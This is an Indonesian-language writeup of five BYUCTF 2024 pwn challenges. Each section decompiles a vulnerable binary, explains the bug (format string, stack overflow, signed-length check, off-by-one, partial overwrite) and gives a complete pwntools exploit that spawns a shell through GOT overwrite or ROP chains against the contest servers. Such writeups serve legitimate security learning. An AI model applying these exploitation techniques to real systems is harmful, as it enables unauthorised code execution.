Published on

BYUCTF 2024 Pwn Writeup (Bahasa Indonesia)

Authors
  • avatar
    Name
    itoid
    Twitter
    Founder of SNI

BYUCTF 2024 Pwn Writeup (Bahasa Indonesia)

Solved by: itoid & msfir

All

chall-sc

Diberikan sebuah zip yang berisi Executable and Linkable Format (ELF) 64-bit beserta Docker Setup untuk mendeploy challengenya di server. Langsung saja kita decompile ELFnya.

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vuln(argc, argv, envp);
  return 0;
}

vuln

int vuln()
{
  int result; // eax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  while ( 1 )
  {
    result = strcmp(buf, "quit");
    if ( !result )
      break;
    read(0, buf, 0x100uLL);
    printf(buf);
  }
  return result;
}

Mari kita cek mitigasi yang ada di program tersebut dengan command checksec.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x3fe000)
    Stack:    Executable
    RWX:      Has RWX segments

Challenge dari program ini sangat sederhana, dikarenakan stacknya executable, jadi cukup leak stack address dan masukan shellcode execve("/bin/sh", 0, 0) di stack untuk mendapatkan Arbitrary Code Execution. Selain menggunakan cara tersebut, kita juga bisa mengoverwrite Global Offset Table (GOT) dari fungsi printf karena mitigasi programnya hanya menggunakan Partial Relocation Read-Only (RELRO), yang membuat GOT tetap writable. Langsung saja overwrite GOT entry dari fungsi printf dengan address system kemudian kirim /bin/sh\0 sebagai byte string. Dengan demikian, ketika fungsi printf dipanggil, system('/bin/sh') akan dieksekusi, yang mengakibatkan terjadinya Arbitrary Code Execution.

Kita bisa memanfaatkan Format String vulnerability di fungsi printf(buf) untuk leak address dari __libc_start_call_main+128 kemudian menghitung jarak relatif antara base address dari libc dengan address tersebut untuk mendapatkan base address libc.

POC

#!/usr/bin/python3
from pwn import *
exe = './all'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc all.chal.cyberjousting.com 1348".split(" ")[1:3]
io = remote(host, port)
sl = lambda a: io.sendline(a)
int16 = lambda a: int(a, 16)
rud = lambda a:io.recvuntil(a, drop=0x1)
com = lambda: io.interactive()

sl(b'%15$p')
libc_base = int16(rud(b'\n')) - 0x29d90
p = fmtstr_payload(0x6, {0x404008: (libc_base + 0x50d60 + 0x10)}, write_size='short')
sl(p)
sl(b'/bin/sh\0')
com()

chall-sc

Static

chall-sc

Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile ELFnya.

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vuln(argc, argv, envp);
  return 0;
}

vuln

__int64 vuln()
{
  char v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0LL, v1, 256LL);
}

Mari kita cek mitigasi yang ada di program tersebut dengan command checksec.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Challenge dari program ini sangat sederhana, terdapat Buffer Overflow vulnerability di fungsi read(0LL, v1, 256LL) jadi cukup buat Return-Oriented Programming (ROP) Chain execve("/bin/sh", 0, 0) dengan syaratAccumulator Register ($RAX) = 59 dan memanfaatkan instruksi-instruksi assembly yang ada di program tersebut untuk mendapatkan Arbitrary Code Execution.

POC

#!/usr/bin/python3
from pwn import *
exe = './static'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc static.chal.cyberjousting.com 1350".split(" ")[1:3]
io = remote(host, port)
s = lambda a: io.send(a)
com = lambda: io.interactive()

poprdi = 0x0000000000401fe0
poprsi = 0x00000000004062d8
bss = 0x49d150
poprdx_rbp = 0x45e467
poprax = 0x000000000041069c
syscall = 0x401194
movrdxtorsipointer = 0x460c42
p = flat(cyclic(0x12), poprsi, bss, poprdx_rbp, b'/bin/sh\x00', 0, movrdxtorsipointer, poprax, 59, poprdi, bss, poprsi, 0, poprdx_rbp, 0, 0, syscall)
s(p)
com()

chall-sc

Numbersss

chall-sc

Diberikan sebuah Executable and Linkable Format (ELF) 64-bit dan Dockerfile. Langsung saja kita decompile ELFnya.

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vuln(argc, argv, envp);
  return 0;
}

vuln

__int64 vuln()
{
  __int64 result; // rax
  char v1[16]; // [rsp+0h] [rbp-10h] BYREF

  printf("Free junk: %p\n", &printf);
  puts("How many bytes do you want to read in?");
  __isoc99_scanf("%hhd", &length);
  if ( length > 16 )
  {
    puts("Too many bytes!");
    exit(1);
  }
  for ( counter = 0; ; ++counter )
  {
    result = (unsigned __int8)length;
    if ( counter == length )
      break;
    read(0, &v1[counter], 1uLL);
  }
  return result;
}

Mari kita cek mitigasi yang ada di program tersebut dengan command checksec.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

Challenge dari program ini sangat sederhana. Program melakukan pengecekan terhadap panjang variabel &length, jika panjangnya lebih dari 16 maka program akan exit. Terdapat Out-of-Bounds (OOB) vulnerability di fungsi __isoc99_scanf("%hhd", &length);. Karena tipe data variabel &length adalah signed char yang mempunyai range dari -128 sampai dengan 127, kita bisa memasukan angka 128 sehingga yang tersimpan pada memori adalah -128. Program akan membaca inputan kita dengan read(0, &v1[counter], 1uLL); (byte by byte), jadi cukup melakukan Return-Oriented Programming (ROP) Chain system('/bin/sh') dengan tambahan instruksi assembly ret karena terdapat Move Aligned Packed Single-Precision Floating-Point Values (MOVAPS) di 64-bit ELF, kemudian payloadnya bisa difill dengan sembarang karakter sampai panjang payloadnya 128 untuk mendapatkan Arbitrary Code Execution.

POC

#!/usr/bin/python3
from pwn import *
exe = './numbersss'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc numbersss.chal.cyberjousting.com 1351".split(" ")[1:3]
io = remote(host, port)
sl = lambda a: io.sendline(a)
sla = lambda a, b: io.sendlineafter(a, b)
int16 = lambda a: int(a, 16)
rud = lambda a:io.recvuntil(a, drop=0x1)
lj = lambda a, b, c : a.ljust(b, c)
com = lambda: io.interactive()
libc = ELF("./libc.so.6", checksec = 0)
ld = ELF("./ld-linux.so", checksec = 0)

rud(b'Free junk: ')
leaked_printf = int16(rud(b'\n'))
libc.address = leaked_printf - libc.sym['printf']
sla(b'in?\n', b'128')
rop = ROP(libc)
rop.raw(cyclic(0x18))
rop.call(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\0')))
p = lj(rop.chain(), 128, b'\0')
sl(p)
com()

chall-sc

Gargantuan

chall-sc

Diberikan sebuah Executable and Linkable Format (ELF) 64-bit dan libc. Langsung saja kita decompile ELFnya.

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("Welcome!");
  puts("Enter your input below:");
  gargantuan("Enter your input below:");
  return 0;
}

gargantuan

int gargantuan()
{
  size_t v0; // rbx
  size_t v1; // rax
  char buf[512]; // [rsp+0h] [rbp-720h] BYREF
  char s[1288]; // [rsp+200h] [rbp-520h] BYREF
  int v5; // [rsp+708h] [rbp-18h]
  int i; // [rsp+70Ch] [rbp-14h]

  memset(s, 0, 0x500uLL);
  for ( i = 0; i <= 4; ++i )
  {
    v5 = read(0, buf, 0x200uLL);
    if ( v5 <= 0 )
    {
      puts("read error");
      return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
    }
    if ( strlen(buf) > 0x100 )
    {
      puts("too large");
      return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
    }
    v0 = v5;
    v1 = strlen(s);
    memcpy(&s[v1], buf, v0);
  }
  return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}

Mari kita cek mitigasi yang ada di program tersebut dengan command checksec.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

PIE enabled (Position Independent Executable diaktifkan). Terdapat Off-by-one vulnerability di iterasi kelima fungsi v5 = read(0, buf, 0x200uLL);, jadi kita bisa memanfaatkan vulnerability tersebut untuk melakukan Execution Flow Hijacking dengan cara mengoverwrite address instruksi assembly mov eax, 0 menjadi address fungsi gargantuan sehingga program tidak akan langsung exit, namun akan kembali ke fungsi gargantuan dan address dari fungsi gargantuan akan dileak.

State stack destination sebelum memcpy(&s[v1], buf, v0); pada iterasi kelima.

chall-sc

State stack destination setelah memcpy(&s[v1], buf, v0); pada iterasi kelima.

chall-sc

Kita dapat menghitung jarak relatif base address dari ELF dengan address dari fungsi gargantuan untuk mendapatkan base address dari ELF tersebut. Setelah itu, kita dapat melakukan Return-Oriented Programming (ROP) Chain untuk leak address libc.sym.puts melalui Procedure Linkage Table (PLT) fungsi puts, dan melakukan Return-Oriented Programming (ROP) Chain kembali untuk memanggil system('/bin/sh') yang mengakibatkan Arbitrary Code Execution.

POC

#!/usr/bin/python3
from pwn import *
exe = './gargantuan'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc gargantuan.chal.cyberjousting.com 1352".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
rl = lambda: io.recvline()
com = lambda: io.interactive()
li = lambda a: log.info(a)
rud = lambda a:io.recvuntil(a, drop=0x1)
r = lambda: io.recv()
int16 = lambda a: int(a, 16)
rar = lambda a: io.recv(a)
rj = lambda a, b, c : a.rjust(b, c)
lj = lambda a, b, c : a.ljust(b, c)
d = lambda a: a.decode('utf-8')
e = lambda a: a.encode()
cl = lambda: io.close()
rlf = lambda: io.recvline(0)

def attack(wtc):
	s(lj(b'A' * 0x100, 0x200, b'\0'))
	sleep(0.2)
	s(lj(b'A' * 0x100, 0x200, b'\0'))
	sleep(0.2)
	s(lj(b'A' * 0x100, 0x200, b'\0'))
	sleep(0.2)
	s(lj(b'A' * 0x100, 0x200, b'\0'))
	sleep(0.2)
	s(b'E' * 0x100 + p64(0) + b'F' * 32 + wtc)

attack(b'\x0b') 
rud(b'TOO LATE! ')
gargantuan = int16(rud(b'\n'))
elf.address = gargantuan - 0x000011e5
assert elf.address & 0xfff == 0
li(f"ELF Address: {hex(elf.address)}")
libc = ELF("./libc.so.6", checksec = 0)
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.gargantuan()
li(f"rop chain: {rop.dump()}")
attack(rop.chain())
rl()
leaked_puts = u64(lj(rud(b'\n'), 8, b'\0'))
li(f"Leaked puts: {hex(leaked_puts)}")
libc.address = leaked_puts - libc.sym.puts
rop = ROP(libc)
rop.call(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\0')))
li(f"rop chain: {rop.dump()}")
attack(rop.chain())
com()

chall-sc

Directory

chall-sc

Diberikan sebuah zip yang berisi Executable and Linkable Format (ELF) 64-bit beserta Docker Setup untuk mendeploy challengenya di server. Langsung saja kita decompile ELFnya.

main

int __fastcall main(int argc, const char **argv, const char **envp)
{
  process_menu(argc, argv, envp);
  return 0;
}

process_menu

__int64 process_menu()
{
  __int64 result; // rax
  int v1; // [rsp+0h] [rbp-1E0h]
  char v2[256]; // [rsp+4h] [rbp-1DCh] BYREF
  unsigned int v3; // [rsp+104h] [rbp-DCh] BYREF
  int v4[52]; // [rsp+108h] [rbp-D8h] BYREF
  unsigned int i; // [rsp+1D8h] [rbp-8h]
  int j; // [rsp+1DCh] [rbp-4h]

  v1 = 0;
  while ( 1 )
  {
    result = v3;
    if ( v3 == 4 )
      return result;
    print_menu();
    printf("> ");
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
    {
      puts("Exiting...");
    }
    else
    {
      if ( (int)v3 > 4 )
        goto LABEL_23;
      switch ( v3 )
      {
        case 3u:
          puts("Printing directory...");
          for ( i = 0; (int)i < v1; ++i )
            printf("%d. %s\n", i, &v2[20 * i + 264]);
          break;
        case 1u:
          if ( v1 <= 9 )
          {
            puts("Enter name: ");
            v4[0] = read(0, v2, 0x30uLL);
            v2[strcspn(v2, "\n")] = 0;
            memcpy(&v2[20 * v1++ + 264], v2, v4[0]);
          }
          else
          {
            puts("Directory is full!");
          }
          break;
        case 2u:
          puts("Enter index: ");
          __isoc99_scanf("%d", v4);
          if ( v4[0] >= 0 && v4[0] < v1 )
          {
            for ( j = v4[0]; j < v1; ++j )
              strcpy(&v2[20 * j + 264], &v2[20 * j + 284]);
            --v1;
          }
          else
          {
            puts("Invalid index!");
          }
          break;
        default:
LABEL_23:
          puts("Invalid option");
          break;
      }
    }
  }
}
int print_menu()
{
  puts("1. Add a name");
  puts("2. Remove a name");
  puts("3. Print directory");
  return puts("4. Exit");
}

win

int win()
{
  return system("/bin/sh");
}

Mari kita cek mitigasi yang ada di program tersebut dengan command checksec.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Challenge dari program ini sangat sederhana, cukup overwrite address instruksi assembly mov eax, 0 dengan address instruksi assembly lea rax, str._bin_sh yang terdapat pada fungsi win dengan one-byte overwrite pada iterasi kesepuluh fungsi v4[0] = read(0, v2, 0x30uLL); untuk mendapatkan Arbitrary Code Execution.

State stack destination sebelum memcpy(&v2[20 * v1++ + 264], v2, v4[0]); pada iterasi kesepuluh.

image

State stack destination setelah memcpy(&v2[20 * v1++ + 264], v2, v4[0]); pada iterasi kesepuluh.

image

POC

#!/usr/bin/python3
from pwn import *
exe = './directory'
elf = context.binary = ELF(exe, checksec = 0)
context.log_level = 'debug'
host, port = "nc directory.chal.cyberjousting.com 1349".split(" ")[1:3]
io = remote(host, port)
sla = lambda a, b: io.sendlineafter(a, b)
sa = lambda a, b: io.sendafter(a, b)
sl = lambda a: io.sendline(a)
com = lambda: io.interactive()
li = lambda a: log.info(a)

for i in range(1, 10, 1):
	sla(b'> ', b'1')
	p = b'A' * 0x30
	li(f"iterasi ke - {i}")
	sa(b'name: \n', p)
sla(b'> ', b'1')
p = flat({0x28: p8(0x3b)})
sa(b'name: \n', p)
sla(b'> ', b'4')
com()

chall-sc